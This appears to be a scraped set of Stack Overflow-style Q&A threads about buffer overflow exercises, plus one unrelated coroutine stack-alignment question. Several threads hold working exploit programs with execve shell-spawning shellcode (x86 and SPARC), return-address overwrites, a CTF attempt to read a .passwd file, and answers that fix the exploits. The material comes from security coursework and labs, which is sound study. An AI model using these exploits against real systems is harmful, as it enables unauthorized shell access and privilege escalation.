Getting SIGILL when trying to execute buffer overflow attack - c

I'm working on my buffer overflow project for my security class, I think I have everything set up right but when I run it I get:
Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22 fread(str,sizeof(char),517,badfile);
Heres stack.c
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
here is exploit.c
char code[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x99" // cltd
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
char retaddr[] = "\x70\xF2\xFF\xBF";
void main(int argc, char **argv)
{
char strr[517];
strr[0] = 'Z';
strr[1] = 0;
strr[2] = '\x00';
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
//memcpy(buffer, "EGG=", 4);
memcpy(buffer, code, 24);
memcpy(buffer+20,retaddr,4);
memcpy(buffer+24,"\x00\x00\x00\x00",4);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
Here is the stack at runtime.
Starting program: /home/john/stack
Breakpoint 1, bof (
str=0xbffff2b7 "1\300Phn/shh//bi\211\343\231RS\211\341p\362\377\277")
at stack.c:13
13 strcpy(buffer, str);
(gdb) x/12xw $esp
0xbffff270: 0x00000205 0xbffff298 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x00000205 0xb7fef6c0 0x00584ff4
0xbffff290: 0x00000000 0x00000000 0xbffff4c8 0x0804850f
(gdb) s
14 return 1;
(gdb) x/12xw $esp
0xbffff270: 0xbffff284 0xbffff2b7 0x004a13be 0x0804b008
0xbffff280: 0xbffff2b7 0x6850c031 0x68732f6e 0x622f2f68
0xbffff290: 0x99e38969 0xe1895352 0xbffff270 0x08048500
(gdb) c
Continuing.
Any idea why I'm getting SIGILL?

Because you're executing illegal code. In your exploit.c, you're overwriting offsets 20-23 with the return address -- those bytes were previously the b0 0b cd 80 corresponding to the last two mov $0xb,%al and int $0x80 instructions. The zero bytes you put in there are illegal code.
Since the return address has to go at that specific offset for this target, you need to modify your shell code not to use that data. I'd suggest either moving the shell code to after that offset and pointing the return address there, or putting in a jump over the return address so that the processor doesn't try to execute it.

Related

Why does printf make a segmentation fault if there is no \n?

To learn multithreading, I use code given by the teacher, that works for my classmates, but not for me.
The error happens here:
void fonction2(){
int compteur1 = 1;
while(1){
fflush(stdout);
printf("je suis la coroutine1\n");
fflush(stdout);
printf("blabla");
fflush(stdout);
printf("test\n");
printf("test2\n");
printf("compteur = %d\n", compteur1);
fflush(stdout);
compteur1 = compteur1 +1;
//yield();//appel la coroutine2
exit(1);
}
}
I'm not just looking for how to make my code work as intended, I'd like to understand what went wrong.
I compile using gcc 11.3.0 with flags -static -g -O0 in a Ubuntu1~22.04 VM.
Here is the entirety of my code:
#include<stdio.h>
#include<stdlib.h>
#define STACK_SIZE 4096
char pile1[STACK_SIZE] __attribute__((aligned(4096)));
char pile2[STACK_SIZE] __attribute__((aligned(4096)));
char pile3[STACK_SIZE] __attribute__((aligned(4096)));
char pile4[STACK_SIZE] __attribute__((aligned(4096)));
typedef void * coroutine_t;
void enter_coroutine(coroutine_t coroutine);
void switch_coroutine(coroutine_t *ct1, coroutine_t ct2);
coroutine_t coroutine_ordo;
coroutine_t coroutine4;
coroutine_t coroutine2;
coroutine_t coroutine3;
struct thread{
coroutine_t coroutine;
int statut; //O prêt 1 bloqué
};
struct thread thread2;
struct thread thread3;
struct thread thread4;
//struct liste_thread{
// thread* premier;
//};
struct thread* thread_courant ;
//comme un push pour préparer le enter_coroutine
coroutine_t init_coroutine(void *stack_begin, unsigned int stack_size, void (*initial_pc)(void)){
char *stack_end = ((char *)stack_begin) + stack_size;
void* *ptr = (void**) stack_end;
ptr--;
*ptr = initial_pc; //program counter
ptr--;
*ptr = 0; //rbp
ptr--;
*ptr = 0; // rbx
ptr--;
*ptr = 0; //r12
ptr--;
*ptr = 0; //r13
ptr--;
*ptr = 0; //r14
ptr--;
*ptr = 0; //r15
return ptr;
}
void yield(void){
switch_coroutine(&thread_courant->coroutine, coroutine_ordo);
}
void fonction_ordo(){
while(1){
thread_courant = &thread2;
switch_coroutine(&coroutine_ordo, thread2.coroutine);
thread_courant = &thread3;
switch_coroutine(&coroutine_ordo, thread3.coroutine);
thread_courant = &thread4;
switch_coroutine(&coroutine_ordo, thread4.coroutine);
}
}
void fonction2(){
int compteur1 = 1;
while(1){
fflush(stdout);
printf("je suis la coroutine1\n");
fflush(stdout);
printf("blabla\n");
fflush(stdout);
printf("test\n");
printf("test2\n");
printf("compteur = %d\n", compteur1);
fflush(stdout);
compteur1 = compteur1 +1;
//yield();//appel la coroutine2
exit(1);
}
}
void fonction3(){
int compteur2 = 1;
while(1){
printf("je suis la coroutine3\n");
printf("compteur = %d\n",compteur2);
++compteur2;
yield();//appel la coroutine1;
}
}
void fonction4(){
int compteur2 = 1;
while(1){
printf("je suis la coroutine4\n");
printf("compteur = %d\n",compteur2);
++compteur2;
yield();//appel la coroutine1;
}
}
int main(){
setbuf(stdout, NULL);
coroutine_ordo = init_coroutine(pile1, STACK_SIZE, &fonction_ordo); //ordonnanceur !
printf("coroutine1 init\n");
thread2.coroutine = init_coroutine(pile2, STACK_SIZE, &fonction2);
printf("coroutine2 init\n");
thread3.coroutine = init_coroutine(pile3, STACK_SIZE, &fonction3);
printf("coroutine3 init\n");
thread4.coroutine = init_coroutine(pile4, STACK_SIZE, &fonction4);
printf("coroutine4 init\n");
enter_coroutine(coroutine_ordo);
return 0;
}
This is a file in assembly I also give to the compiler, where stack pointers are manipulated directly to move from a thread to another:
.global enter_coroutine, switch_coroutine
/* Note: le premier argument est dans ecx, le deuxieme dans edx. */
switch_coroutine:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
mov %rsp,(%rdi) /* Store stack pointer to the coroutine pointer.. */
mov %rsi,%rdi /* Continue to enter_coroutine, mais echange les arguments d'abord. */
enter_coroutine:
mov %rdi,%rsp /* Load the stack pointer from the coroutine pointer. */
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret /* Pop the program counter. */
I tried tinkering with the code to understand the issue; there is always a segmentation fault somewhere in function2, but this displays
(other stuff from the rest of the code)
je suis la coroutine1
Erreur de segmentation (core dumped)
However, if I add "\n" right after "blabla" then it displays
(other stuff)
je suis la coroutine1
blabla
test
test2
Erreur de segmentation (core dumped)
I thought using fflush would guarantee the same behavior regardless of what argument I give printf? Why does it not display the test prints in the first case?
The only thing needed to get the code to work is a small change to init_coroutine to add a dummy 8-byte value to the base of the coroutine's stack:
//comme un push pour préparer le enter_coroutine
coroutine_t init_coroutine(void *stack_begin, unsigned int stack_size, void (*initial_pc)(void)){
char *stack_end = ((char *)stack_begin) + stack_size;
void* *ptr = (void**) stack_end;
/* vvvvvvvvvvv */
ptr--;
*ptr = 0; // dummy value
/* ^^^^^^^^^^^ */
ptr--;
*ptr = initial_pc; //program counter
ptr--;
*ptr = 0; //rbp
ptr--;
*ptr = 0; // rbx
ptr--;
*ptr = 0; //r12
ptr--;
*ptr = 0; //r13
ptr--;
*ptr = 0; //r14
ptr--;
*ptr = 0; //r15
return ptr;
}
As long as stack_end is on a 16-byte boundary (by suitable choice of start_begin and stack_size parameters), this will keep %RSP+8 aligned to a 16-byte boundary at the start of each function as required by the System V ABI for x86-64.
The initial_pc value is stored on a 16-byte boundary. After enter_coroutine() executes the ret instruction for the first time, this initial_pc value will be in %RIP, and %RSP+8 will be at a 16-byte boundary as required by the ABI. (The coroutine function will reduce %RSP by an odd multiple of 8 bytes if it calls another function, so that %RSP is maintained on a 16-byte boundary before it calls the function.1)
―
1 Calling a function with arguments of type __m256 or __m512 on the stack requires %RSP to be aligned to a 32- or 64-byte boundary before the call instruction.
The reason why the original code goes wrong is that the GLIBC library functions assume that the stack pointer has been properly aligned when they are called. If that is not the case, bad things could happen.
The reason why adding a \n to the end of a string literal (with no % characters) passed to printf can make a difference is that GCC may convert printf("blabla\n"); to puts("blabla"); and a misaligned stack pointer in puts is probably not as bad as a misaligned stack pointer in printf. (This conversion from printf to puts can be disabled with the -fno-builtin-printf GCC compiler option.)

Why can't i exit from shellcode with a syscall?

I try to make a Programm where you put in some assembled assembly in hex and run it.
With simple instructions like int3 it works, but when I try to exit from the programm with a syscall it doesnt work.
I assembled it with rasm2
mov eax, 1
mov ebx, 12
int 0x80
and then put it as an argument ./Programm b801000000bb0c000000cd80 1
but i get a segfault.
Here is my code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
char *base16dec(char *b16str) {
size_t stingrlength = strlen(b16str);
char *decodedstr = malloc(stingrlength / 2);
for (size_t i = 0; i < stingrlength; i += 2) {
u_int8_t num = 0;
char stringIn[3];
stringIn[0] = b16str[i];
stringIn[1] = b16str[i+1];
stringIn[2] = 0;
sscanf(stringIn, "%hhx", &num);
decodedstr[i/2] = (char) num;
}
return decodedstr;
}
this decodes the hex string
int main(int argc, char *argv[]) {
char *dirstr = "XXXXXX";
char dir[7];
strcpy(dir, dirstr);
int fd = mkstemp(dir);
if (fd == -1) {
dirstr = "/tmp/XXXXXX";
char dir[12];
strcpy(dir, dirstr);
fd = mkstemp(dir);
}
unlink(dir);
this creates the tmp file where the assembly is stored
char *stringIn;
if (argc == 2) {
stringIn = malloc(strlen(argv[1]));
strcpy(stringIn, argv[1]);
} else if (argc == 3) {
u_int8_t num = 0;
sscanf(argv[2], "%hhu", &num);
if (num == 1) {
char *done = base16dec(argv[1]);
stringIn = malloc(strlen(done));
strcpy(stringIn, done);
} else {
stringIn = malloc(strlen(argv[1]));
strcpy(stringIn, argv[1]);
}
} else {
stringIn = malloc(1024);
scanf("%s", stringIn);
char *done = base16dec(stringIn);
stringIn = malloc(strlen(done));
strcpy(stringIn, done);
}
this parses and copies the input to stringIn
ftruncate(fd, strlen(stringIn));
u_int8_t *code = mmap(NULL, strlen(stringIn), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE , fd, 0);
this expands the tmp file and makes it executable and creates a pointer to it named code
for (int i = 0; i < 1024; i++) {
code[i] = (u_int8_t) stringIn[i];
}
this copies the assembly bytes into code
#if __x86_64__
__asm__(
"mov %0, %%rbx\n"
"jmp *%%rbx"
:
: "g" (code)
: "memory"
);
#elif __i386__
__asm__(
"mov %0, %%ebx\n"
"jmp *%%ebx"
:
: "r" (code)
);
#else
#endif
this jumps to the the assembly
return 0;
}
EDIT:
I can't debug the shellcode using gdb
I use 64bit Linux Mint
I tried to copy 0 using strcpy
Since this is a shellcode you can't have null bytes. In your code you have 2 movs with immediates that are padded to 32-bits
mov eax, 1
mov ebx, 12
Which encodes as B801000000BB0C000000, when C hits the null bytes it thinks the string has ended so it only ends up copying part of the instruction and then it executes garbage.
Instead you'll need to use:
xor eax, eax
inc eax
xor ebx, ebx
mov bl, 12
This will provide the values you want for your system call and does not encode as any null bytes.

Exploit BOF in c?

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
*((long *) (buffer + 36)) = 0xffffce78 + 0x80;
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
I'm just doing my assignment on BOF, now I know the two things to perform BOF.
1, address of instruction pointer, so as to point to my shellcode
2, address of my shell code.
The buffer address is 0xffffce28 in gdb and 0xffffce78 in C, $ebp points to 0xffffce48. So to get the address of eip, 0xffffce48 - 0xffffce28 + 4 = 36. But storing my shell code address, 0xffffce78, in buffer+36 raises illegal instruction(core dumped), but adding 0x80 with the buffer address works why?
Since the shell code is at the end of the buffer. The first instruction trying to execute is the eip value, *((long *) (buffer + 36)) = 0xffffce78 + 0x80; so this is not a legal instruction.

buffer overflow doesn't reach eip

Hi i'm really stuck on this problem: here are my code and below the code i try to overflow:
#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[2] = {sc, NULL};
char buf[B];
int i;
int *ap = (int*)(buf + A);
int ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
FILE *file;
for (i = 0; i < B - 4; i += 4)
{
if (i == 136)
*ap++ = 0xbffffc64;
else if (i == 98)
{
*ap++ = "/challenge/app-systeme/.passwd";//edx
}
else
{
if (i >= 50)
*ap++ = 0x42424242;
else if (i < 50)
*ap++ = 0xbfffffb1;//0x45454545;
}
}
file = fopen("/tmp/toto/COUCOU", "a+");
fprintf(file, "%s%s", "USERNAME=", buf);
fclose(file);
printf("AAAAWESOME");
execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}
Vulnerable code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
Indeed i can't reach eip as gdb usually shows a segfault happening into the loop:
esi is the first register crushed after the overflow but i still don't get what feed him.
It's a buffer size at this point, i can then even fill edi and edx, but still what for ?
Is eip still unreachable ?
Well typically :
gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FCFFF4 ECX: 0x42424242 EDX: 0x42424242 o d I t s z a P c
ESI: 0xBFFFFC64 EDI: 0x000001FF EBP: 0xBFFFFC64 ESP: 0xBFFFF8EC EIP: 0xB7E9CD88
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88: mov ecx,DWORD PTR [edx+0x8]
0xb7e9cd8b: mov edx,DWORD PTR [edx]
0xb7e9cd8d: cmp eax,ecx
0xb7e9cd8f: cmovg eax,ecx
0xb7e9cd92: test edx,edx
0xb7e9cd94: jne 0xb7e9cd88
0xb7e9cd96: repz ret
0xb7e9cd98: nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0 0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2 0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3 0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4 0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5 0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6 0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7 0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75
Well, it seems I forgot to mention the partial RELRO state of the binary.
Anymore light is welcome .
(gdb) disas __uflow
Dump of assembler code for function __uflow:
0xb7e9d270 <+0>: push %esi
0xb7e9d271 <+1>: push %ebx
...
0xb7e9d37c <+268>: lea 0x0(%esi,%eiz,1),%esi
=> 0xb7e9d380 <+272>: movzbl (%edx),%eax
0xb7e9d383 <+275>: add $0x1,%edx
...
0xb7e9d3b3 <+323>: call 0xb7e92ca0
0xb7e9d3b8 <+328>: jmp 0xb7e9d2b1 <__uflow+65>
End of assembler dump.
(gdb) x/i $eax
0xb7e9c588 <_IO_file_overflow+424>: add %bh,-0x1(%eax)
(gdb) vim ok
Undefined command: "vim". Try "help".
(gdb) x/i $edx
0x806c000: Cannot access memory at address 0x806c000
(gdb)
Something can detect the overflow ?
Well, this is resolved. But trust me i don't have a clue of what i've done, and if anybody could teach us all a lesson he'd be Welcome.
I didn't analyze it in detail, but it seems you are not overflowing init in main(), you are overflowing init in Init(), but its proving resilient to overflow because theres a 513 bytes buffer reserved right after it, spacing you from the sensitive call stack information you want to attack.
Once Init() returns this struct to main() through a copy operation, only sizeof(struct Init) bytes are copied, so its not cascading the vulnerability to the function that you want to attack.
I believe if you want to trigger the vulnerability without interference of any of this, you should overwrite main()'s init directly, by passing it to Init() as a pointer, like void Init(char *filename, struct Init *init).

Stack Overflow on SUN Sparc

/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 464
#define DUFSIZE 456
/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }
main( int argc, char *argv[] ) {
char buf[ BUFSIZE+1 ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
/* align return address */
if( ( rem = ret % 8 ) ){ ret &= ~(rem); }
bzero( buf, BUFSIZE );
for(i = 0; i < BUFSIZE; i += 4)
strcpy( &buf[i], np );
memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));
ptr = &buf[DUFSIZE];
/* set fp to a save stack value */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* overwrite saved PC */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
//err = execl( "./server1", "server1", buf, ( void *)0 );
err = execl( "./server2", "server2", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
Compiling and running attack.c, I'm able to exploiting the vulnerability in server1.c
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
char foo[400];
int i, j, k;
strcpy(foo, a);
i = 1;
}
void main(int argc, char *argv[]){
if(argc >=2 )copy( argv[1] );
}
But attack.c doesn't do the same with server2. Any idea why?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
char buf[200];
int i, j, k;
strcpy(buf,a);
i = 1;
}
void copy1(const char *a){
char foo[200];
int i, j, k;
copy2(a);
i = 1;
}
void main( int argc, char *argv[] ) {
if (argc >=2 )copy1( argv[1] );
}
Here is the assembly for server2.c:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>: save %sp, -304, %sp
0x00010bdc <copy2+4>: add %fp, -200, %o0
0x00010be0 <copy2+8>: call 0x20ce8 <strcpy#plt>
0x00010be4 <copy2+12>: mov %i0, %o1
0x00010be8 <copy2+16>: mov 1, %l0
0x00010bec <copy2+20>: st %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>: ret
0x00010bf4 <copy2+28>: restore
0x00010bf8 <copy2+32>: ret
0x00010bfc <copy2+36>: restore
0x00010c00 <copy2+40>: illtrap 0x10000
0x00010c04 <copy2+44>: illtrap 0x10000
0x00010c08 <copy2+48>: illtrap 0x10000
0x00010c0c <copy2+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>: save %sp, -304, %sp
0x00010c14 <copy1+4>: call 0x10bd8 <copy2>
0x00010c18 <copy1+8>: mov %i0, %o0
0x00010c1c <copy1+12>: mov 1, %l0
0x00010c20 <copy1+16>: st %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>: ret
0x00010c28 <copy1+24>: restore
0x00010c2c <copy1+28>: ret
0x00010c30 <copy1+32>: restore
0x00010c34 <copy1+36>: illtrap 0x10000
0x00010c38 <copy1+40>: illtrap 0x10000
0x00010c3c <copy1+44>: illtrap 0x10000
0x00010c40 <copy1+48>: illtrap 0x10000
0x00010c44 <copy1+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010c48 <main+0>: save %sp, -96, %sp
0x00010c4c <main+4>: cmp %i0, 2
0x00010c50 <main+8>: bl 0x10c68 <main+32>
0x00010c54 <main+12>: nop
0x00010c58 <main+16>: call 0x10c10 <copy1>
0x00010c5c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c60 <main+24>: ret
0x00010c64 <main+28>: restore
0x00010c68 <main+32>: ret
0x00010c6c <main+36>: restore
End of assembler dump.
And for server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>: save %sp, -504, %sp
0x00010bc4 <copy+4>: add %fp, -400, %o0
0x00010bc8 <copy+8>: call 0x20c98 <strcpy#plt>
0x00010bcc <copy+12>: mov %i0, %o1
0x00010bd0 <copy+16>: mov 1, %l0
0x00010bd4 <copy+20>: st %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>: ret
0x00010bdc <copy+28>: restore
0x00010be0 <copy+32>: ret
0x00010be4 <copy+36>: restore
0x00010be8 <copy+40>: illtrap 0x10000
0x00010bec <copy+44>: illtrap 0x10000
0x00010bf0 <copy+48>: illtrap 0x10000
0x00010bf4 <copy+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>: save %sp, -96, %sp
0x00010bfc <main+4>: cmp %i0, 2
0x00010c00 <main+8>: bl 0x10c18 <main+32>
0x00010c04 <main+12>: nop
0x00010c08 <main+16>: call 0x10bc0 <copy>
0x00010c0c <main+20>: ld [ %i1 + 4 ], %o0
0x00010c10 <main+24>: ret
0x00010c14 <main+28>: restore
0x00010c18 <main+32>: ret
0x00010c1c <main+36>: restore
End of assembler dump.
what do I need to modify in attack.c to make it exploit server2.c?
pfff... finally.
#define BUFSIZE 464
#define DUFSIZE 256
I thought the offset was 8, but it's 200 + 8.
Maybe the compiler doesn't allocate space for foo[] in copy1() because it's unused. The only way to know for sure is to look at the generated assembler code for your executables.
Based on my understanding since the copy2() is the callee and copy1() is the caller and the stack frame of copy1 is below copy2, we find sum of bytes allocated to foo and buff which gives the size of the buffer. We then get the offset value by adding a value to size of buff. This value is obtained from calculating difference in addresses of the point where buffer overflow instruction is being called in the callee to the return address in the caller just after the call to callee is made since that is where we introduce the shell code.
Buffsize+32+32-8

Resources